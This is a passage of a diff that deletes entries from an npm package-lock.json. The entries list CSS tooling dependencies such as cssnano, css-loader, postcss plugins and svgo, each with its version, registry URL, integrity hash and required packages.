"integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", - "dev": true - }, - "crypto-browserify": { - "version": "3.11.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.11.0.tgz", - "integrity": "sha1-NlKgkGq5sqfgw85mpAjpV6JIVSI=", - "dev": true, - "requires": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0" - } - }, - "css-color-names": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz", - "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=", - "dev": true - }, - "css-declaration-sorter": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-3.0.1.tgz", - "integrity": "sha512-jH4024SHZ3e0M7ann9VxpFpH3moplRXNz9ZBqvFMZqi09Yo5ARbs2wdPH8GqN9iRTlQynrbGbraNbBxBLei85Q==", - "dev": true, - "requires": { - "postcss": "^6.0.0", - "timsort": "^0.3.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "css-loader": { - "version": "0.28.11", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-0.28.11.tgz", - "integrity": "sha512-wovHgjAx8ZIMGSL8pTys7edA1ClmzxHeY6n/d97gg5odgsxEgKjULPR0viqyC+FWMCL9sfqoC/QCUBo62tLvPg==", - "dev": true, - "requires": { - "babel-code-frame": "^6.26.0", - "css-selector-tokenizer": "^0.7.0", - "cssnano": "^3.10.0", - "icss-utils": "^2.1.0", - "loader-utils": "^1.0.2", - "lodash.camelcase": "^4.3.0", - "object-assign": "^4.1.1", - "postcss": "^5.0.6", - "postcss-modules-extract-imports": "^1.2.0", - "postcss-modules-local-by-default": "^1.2.0", - "postcss-modules-scope": "^1.1.0", - "postcss-modules-values": "^1.3.0", - "postcss-value-parser": "^3.3.0", - "source-list-map": "^2.0.0" - } - }, - "css-select": { - "version": "1.3.0-rc0", - "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.3.0-rc0.tgz", - "integrity": "sha1-b5MZaqrnN2ZuoQNqjLFKj8t6kjE=", - "dev": true, - "requires": { - "boolbase": "^1.0.0", - "css-what": "2.1", - "domutils": "1.5.1", - "nth-check": "^1.0.1" - } - }, - "css-select-base-adapter": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.0.tgz", - "integrity": "sha1-AQKz0UYw34bD65+p9UVicBBs+ZA=", - "dev": true - }, - "css-selector-tokenizer": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", - "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", - "dev": true, - "requires": { - "cssesc": "^0.1.0", - "fastparse": "^1.1.1", - "regexpu-core": "^1.0.0" - }, - "dependencies": { - "regexpu-core": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", - "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", - "dev": true, - "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" - } - } - } - }, - "css-to-xpath": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/css-to-xpath/-/css-to-xpath-0.1.0.tgz", - "integrity": "sha1-rA0cJs7wI/e9jPLh/B93E0vHDEc=", - "dev": true, - "requires": { - "bo-selector": "0.0.10", - "xpath-builder": "0.0.7" - } - }, - "css-tree": { - "version": "1.0.0-alpha25", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha25.tgz", - "integrity": "sha512-XC6xLW/JqIGirnZuUWHXCHRaAjje2b3OIB0Vj5RIJo6mIi/AdJo30quQl5LxUl0gkXDIrTrFGbMlcZjyFplz1A==", - "dev": true, - "requires": { - "mdn-data": "^1.0.0", - "source-map": "^0.5.3" - } - }, - "css-unit-converter": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/css-unit-converter/-/css-unit-converter-1.1.1.tgz", - "integrity": "sha1-2bkoGtz9jO2TW9urqDeGiX9k6ZY=", - "dev": true - }, - "css-url-regex": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/css-url-regex/-/css-url-regex-1.1.0.tgz", - "integrity": "sha1-g4NCMMyfdMRX3lnuvRVD/uuDt+w=", - "dev": true - }, - "css-what": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.0.tgz", - "integrity": "sha1-lGfQMsOM+u+58teVASUwYvh/ob0=", - "dev": true - }, - "cssesc": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-0.1.0.tgz", - "integrity": "sha1-yBSQPkViM3GgR3tAEJqq++6t27Q=", - "dev": true - }, - "cssnano": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-3.10.0.tgz", - "integrity": "sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=", - "dev": true, - "requires": { - "autoprefixer": "^6.3.1", - "decamelize": "^1.1.2", - "defined": "^1.0.0", - "has": "^1.0.1", - "object-assign": "^4.0.1", - "postcss": "^5.0.14", - "postcss-calc": "^5.2.0", - "postcss-colormin": "^2.1.8", - "postcss-convert-values": "^2.3.4", - "postcss-discard-comments": "^2.0.4", - "postcss-discard-duplicates": "^2.0.1", - "postcss-discard-empty": "^2.0.1", - "postcss-discard-overridden": "^0.1.1", - "postcss-discard-unused": "^2.2.1", - "postcss-filter-plugins": "^2.0.0", - "postcss-merge-idents": "^2.1.5", - "postcss-merge-longhand": "^2.0.1", - "postcss-merge-rules": "^2.0.3", - "postcss-minify-font-values": "^1.0.2", - "postcss-minify-gradients": "^1.0.1", - "postcss-minify-params": "^1.0.4", - "postcss-minify-selectors": "^2.0.4", - "postcss-normalize-charset": "^1.1.0", - "postcss-normalize-url": "^3.0.7", - "postcss-ordered-values": "^2.1.0", - "postcss-reduce-idents": "^2.2.2", - "postcss-reduce-initial": "^1.0.0", - "postcss-reduce-transforms": "^1.0.3", - "postcss-svgo": "^2.1.1", - "postcss-unique-selectors": "^2.0.2", - "postcss-value-parser": "^3.2.3", - "postcss-zindex": "^2.0.1" - } - }, - "cssnano-preset-default": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-4.0.0.tgz", - "integrity": "sha1-wzQoe099SfstFwqS+SFGVXiOO2s=", - "dev": true, - "requires": { - "css-declaration-sorter": "^3.0.0", - "cssnano-util-raw-cache": "^4.0.0", - "postcss": "^6.0.0", - "postcss-calc": "^6.0.0", - "postcss-colormin": "^4.0.0", - "postcss-convert-values": "^4.0.0", - "postcss-discard-comments": "^4.0.0", - "postcss-discard-duplicates": "^4.0.0", - "postcss-discard-empty": "^4.0.0", - "postcss-discard-overridden": "^4.0.0", - "postcss-merge-longhand": "^4.0.0", - "postcss-merge-rules": "^4.0.0", - "postcss-minify-font-values": "^4.0.0", - "postcss-minify-gradients": "^4.0.0", - "postcss-minify-params": "^4.0.0", - "postcss-minify-selectors": "^4.0.0", - "postcss-normalize-charset": "^4.0.0", - "postcss-normalize-display-values": "^4.0.0", - "postcss-normalize-positions": "^4.0.0", - "postcss-normalize-repeat-style": "^4.0.0", - "postcss-normalize-string": "^4.0.0", - "postcss-normalize-timing-functions": "^4.0.0", - "postcss-normalize-unicode": "^4.0.0", - "postcss-normalize-url": "^4.0.0", - "postcss-normalize-whitespace": "^4.0.0", - "postcss-ordered-values": "^4.0.0", - "postcss-reduce-initial": "^4.0.0", - "postcss-reduce-transforms": "^4.0.0", - "postcss-svgo": "^4.0.0", - "postcss-unique-selectors": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "browserslist": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", - "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30000865", - "electron-to-chromium": "^1.3.52", - "node-releases": "^1.0.0-alpha.10" - } - }, - "caniuse-api": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", - "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "caniuse-lite": "^1.0.0", - "lodash.memoize": "^4.1.2", - "lodash.uniq": "^4.5.0" - } - }, - "caniuse-lite": { - "version": "1.0.30000865", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000865.tgz", - "integrity": "sha512-vs79o1mOSKRGv/1pSkp4EXgl4ZviWeYReXw60XfacPU64uQWZwJT6vZNmxRF9O+6zu71sJwMxLK5JXxbzuVrLw==", - "dev": true - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "coa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.1.tgz", - "integrity": "sha512-5wfTTO8E2/ja4jFSxePXlG5nRu5bBtL/r1HCIpJW/lzT6yDtKl0u0Z4o/Vpz32IpKmBn7HerheEZQgA9N2DarQ==", - "dev": true, - "requires": { - "q": "^1.1.2" - } - }, - "color": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/color/-/color-3.0.0.tgz", - "integrity": "sha512-jCpd5+s0s0t7p3pHQKpnJ0TpQKKdleP71LWcA0aqiljpiuAkOSUFN/dyH8ZwF0hRmFlrIuRhufds1QyEP9EB+w==", - "dev": true, - "requires": { - "color-convert": "^1.9.1", - "color-string": "^1.5.2" - } - }, - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "color-string": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.5.2.tgz", - "integrity": "sha1-JuRYFLw8mny9Z1FkikFDRRSnc6k=", - "dev": true, - "requires": { - "color-name": "^1.0.0", - "simple-swizzle": "^0.2.2" - } - }, - "csso": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/csso/-/csso-3.5.1.tgz", - "integrity": "sha512-vrqULLffYU1Q2tLdJvaCYbONStnfkfimRxXNaGjxMldI0C7JPBC4rB1RyjhfdZ4m1frm8pM9uRPKH3d2knZ8gg==", - "dev": true, - "requires": { - "css-tree": "1.0.0-alpha.29" - }, - "dependencies": { - "css-tree": { - "version": "1.0.0-alpha.29", - "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.29.tgz", - "integrity": "sha512-sRNb1XydwkW9IOci6iB2xmy8IGCj6r/fr+JWitvJ2JxQRPzN3T4AGGVWCMlVmVwM1gtgALJRmGIlWv5ppnGGkg==", - "dev": true, - "requires": { - "mdn-data": "~1.1.0", - "source-map": "^0.5.3" - } - }, - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true - } - } - }, - "electron-to-chromium": { - "version": "1.3.52", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.52.tgz", - "integrity": "sha1-0tnxJwuko7lnuDHEDvcftNmrXOA=", - "dev": true - }, - "esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "is-svg": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-3.0.0.tgz", - "integrity": "sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==", - "dev": true, - "requires": { - "html-comment-regex": "^1.1.0" - } - }, - "js-yaml": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.10.0.tgz", - "integrity": "sha512-O2v52ffjLa9VeM43J4XocZE//WT9N0IiwDa3KSHH7Tu8CtH+1qM8SIZvnsTh6v+4yFy5KUY3BHUVwjpfAWsjIA==", - "dev": true, - "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - } - }, - "lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - }, - "normalize-url": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.2.0.tgz", - "integrity": "sha512-WvF3Myk0NhXkG8S9bygFM4IC1KOvnVJGq0QoGeoqOYOBeinBZp5ybW3QuYbTc89lkWBMM9ZBO4QGRoc0353kKA==", - "dev": true - }, - "postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - } - }, - "postcss-calc": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-6.0.1.tgz", - "integrity": "sha1-PSQXG79udinUIqQ26/5t2VEfQzA=", - "dev": true, - "requires": { - "css-unit-converter": "^1.1.1", - "postcss": "^6.0.0", - "postcss-selector-parser": "^2.2.2", - "reduce-css-calc": "^2.0.0" - } - }, - "postcss-colormin": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.1.tgz", - "integrity": "sha1-bxwYoBVbxpYT8v8ThD4uSuj/C74=", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "color": "^3.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-convert-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.0.tgz", - "integrity": "sha1-d9d9mu0dxOaVbmUcw0nVMwWHb2I=", - "dev": true, - "requires": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-discard-comments": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.0.tgz", - "integrity": "sha1-loSimedrPpMmPvj9KtvxocCP2I0=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - } - }, - "postcss-discard-duplicates": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.0.tgz", - "integrity": "sha1-QvPCZ/hfqQngQsNXZ+z9Zcsr1yw=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - } - }, - "postcss-discard-empty": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.0.tgz", - "integrity": "sha1-VeGKWcdBKOOMfSgEvPpAVmEfuX8=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - } - }, - "postcss-discard-overridden": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.0.tgz", - "integrity": "sha1-Sgv4WXh4TPH4HtLBwf2dlkodofo=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - } - }, - "postcss-merge-longhand": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.4.tgz", - "integrity": "sha512-wLi2u22mSdBDBjLF8pyaPCNppOmqb+B4O0Dlt/4nUwn79EltDUJmCeCDYqo7SB2z9puOHTftnxviY4J9xS+ygQ==", - "dev": true, - "requires": { - "css-color-names": "0.0.4", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "stylehacks": "^4.0.0" - } - }, - "postcss-merge-rules": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.1.tgz", - "integrity": "sha1-Qw/Vmz8u0uivzQsxJ47aOYVKuxA=", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "caniuse-api": "^3.0.0", - "cssnano-util-same-parent": "^4.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0", - "vendors": "^1.0.0" - }, - "dependencies": { - "postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "requires": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - } - } - } - }, - "postcss-minify-font-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.0.tgz", - "integrity": "sha1-TMM9KD1qgXWQNudX75gdksvYW+0=", - "dev": true, - "requires": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-minify-gradients": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.0.tgz", - "integrity": "sha1-P8ORZDnSepu4Bm23za2AFlDrCQ4=", - "dev": true, - "requires": { - "cssnano-util-get-arguments": "^4.0.0", - "is-color-stop": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-minify-params": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.0.tgz", - "integrity": "sha1-BekWbuSMBa9lGYnOhNOcG015BnQ=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.0", - "cssnano-util-get-arguments": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "uniqs": "^2.0.0" - } - }, - "postcss-minify-selectors": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.0.tgz", - "integrity": "sha1-sen2xGNBbT/Nyybnt4XZX2FXiq0=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0" - }, - "dependencies": { - "postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "requires": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - } - } - } - }, - "postcss-normalize-charset": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.0.tgz", - "integrity": "sha1-JFJyknAtXoEp6vo9HeSe1RpqtzA=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - } - }, - "postcss-normalize-url": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.0.tgz", - "integrity": "sha1-t6nIrSbPJmlMFG6y1ovQz0mVbw0=", - "dev": true, - "requires": { - "is-absolute-url": "^2.0.0", - "normalize-url": "^3.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-ordered-values": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.0.0.tgz", - "integrity": "sha1-WLQMdPcuAi6zQVLBLksPk1RIL8I=", - "dev": true, - "requires": { - "cssnano-util-get-arguments": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-reduce-initial": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.1.tgz", - "integrity": "sha1-8tWPUM6isMXcEnjW6l7Q/1gpwpM=", - "dev": true, - "requires": { - "browserslist": "^4.0.0", - "caniuse-api": "^3.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0" - } - }, - "postcss-reduce-transforms": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.0.tgz", - "integrity": "sha1-9kX8dEDDUnT0DegQThStcWPt8Yg=", - "dev": true, - "requires": { - "cssnano-util-get-match": "^4.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - } - }, - "postcss-svgo": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.0.tgz", - "integrity": "sha1-wLutAlIPxjbJ14sOhAPi5RXDIoU=", - "dev": true, - "requires": { - "is-svg": "^3.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0", - "svgo": "^1.0.0" - } - }, - "postcss-unique-selectors": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.0.tgz", - "integrity": "sha1-BMHpdkx1h0JhMDQCxB8Ol2n8VQE=", - "dev": true, - "requires": { - "alphanum-sort": "^1.0.0", - "postcss": "^6.0.0", - "uniqs": "^2.0.0" - } - }, - "reduce-css-calc": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-2.1.4.tgz", - "integrity": "sha512-i/vWQbyd3aJRmip9OVSN9V6nIjLf/gg/ctxb0CpvHWtcRysFl/ngDBQD+rqavxdw/doScA3GMBXhzkHQ4GCzFQ==", - "dev": true, - "requires": { - "css-unit-converter": "^1.1.1", - "postcss-value-parser": "^3.3.0" - } - }, - "source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true - }, - "supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - }, - "svgo": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.0.5.tgz", - "integrity": "sha512-nYrifviB77aNKDNKKyuay3M9aYiK6Hv5gJVDdjj2ZXTQmI8WZc8+UPLR5IpVlktJfSu3co/4XcWgrgI6seGBPg==", - "dev": true, - "requires": { - "coa": "~2.0.1", - "colors": "~1.1.2", - "css-select": "~1.3.0-rc0", - "css-select-base-adapter": "~0.1.0", - "css-tree": "1.0.0-alpha25", - "css-url-regex": "^1.1.0", - "csso": "^3.5.0", - "js-yaml": "~3.10.0", - "mkdirp": "~0.5.1", - "object.values": "^1.0.4", - "sax": "~1.2.4", - "stable": "~0.1.6", - "unquote": "~1.1.1", - "util.promisify": "~1.0.0" - } - } - } - }, - "cssnano-util-get-arguments": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz", - "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=", - "dev": true - }, - "cssnano-util-get-match": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz", - "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=", - "dev": true - }, - "cssnano-util-raw-cache": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.0.tgz", - "integrity": "sha1-vgooVuJfGF9feivMBiTii38Xmp8=", - "dev": true, - "requires": { - "postcss": "^6.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - 